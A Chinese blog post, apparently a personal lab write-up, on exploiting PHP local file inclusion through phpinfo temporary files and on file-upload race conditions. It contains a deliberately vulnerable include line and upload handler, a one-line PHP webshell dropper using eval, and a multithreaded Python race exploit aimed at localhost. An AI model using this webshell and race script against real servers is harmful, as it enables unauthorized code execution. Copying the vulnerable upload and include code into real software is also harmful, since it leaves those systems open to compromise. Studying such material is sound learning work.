Hpdoger's Blog.

LFI with phpinfo测试

Word count: 1,118 / Reading time: 5 min
2018/08/06 Share

基础知识

本地文件包含,英文Local File Include,简称LFI。文件包含是一种简化代码、提高代码重用率的方法。但是,由于没有正确处理用户输入,导致本地文件包含漏洞。黑客可以通过漏洞包含非PHP执行文件,如构造包含PHP代码的图片木马、临时文件、session文件、日志等来达到执行PHP代码的目的。

环境

一个简单的文件上传,无任何过滤的页面:

Lfi.php:

1
<?php include $_GET['file'];

&一个phpinfo页面
docker复现的环境,这里吐槽一下ubantu..

思路

php引擎对表单的处理

以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。对phpinfo.php发起请求,会在/tmp下生成一个临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

分块传输

php默认的输出缓冲区大小为4096,也就是四字节,可以理解为php每次返回4096个字节给socket连接

攻击过程

画了一个流程图,利用发送给phpinfo数据包发送给包含点的数据包之间的时间差,来写入一个永久的文件,具体在流程图体现

执行

执行exp

懒得贴图了,看链接吧
PHP文件包含漏洞(利用phpinfo)

相关链接

在实际情况中,如果要修改poc参数,参考链接
LFI with PHPInfo本地测试过程

文件上传竞争

刚才的竞争是数据从socket client到service过程和POST数据到文件包含过程的竞争,借助了文件包含这个点来生成一个webshell,或者执行系统命令的参数。

文件竞争是多线程与服务期间的竞争。首先将文件上传到服务器,然后检测文件后缀名(或者是有害文件),如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

1
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import requests
import threading

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)

def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)

def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()

if __name__ == "__main__":
threads = 20

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="myfile"/>
<input type="submit" value="上传"/>
</form>
</body>
</html>

后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
die("error:can not move!");
}
} else {
die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
unlink($newfile);
die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

写在后面

很遗憾,文件上传竞争我没跑出来。最新学一下socket写个py吧,脚本转化能力太菜了

CATALOG
  1. 1. 基础知识
  2. 2. 环境
  3. 3. 思路
    1. 3.1. php引擎对表单的处理
    2. 3.2. 分块传输
    3. 3.3. 攻击过程
  4. 4. 执行
  5. 5. 相关链接
  6. 6. 文件上传竞争
    1. 6.1. exp
    2. 6.2. 前端代码
    3. 6.3. 后端代码
  7. 7. 写在后面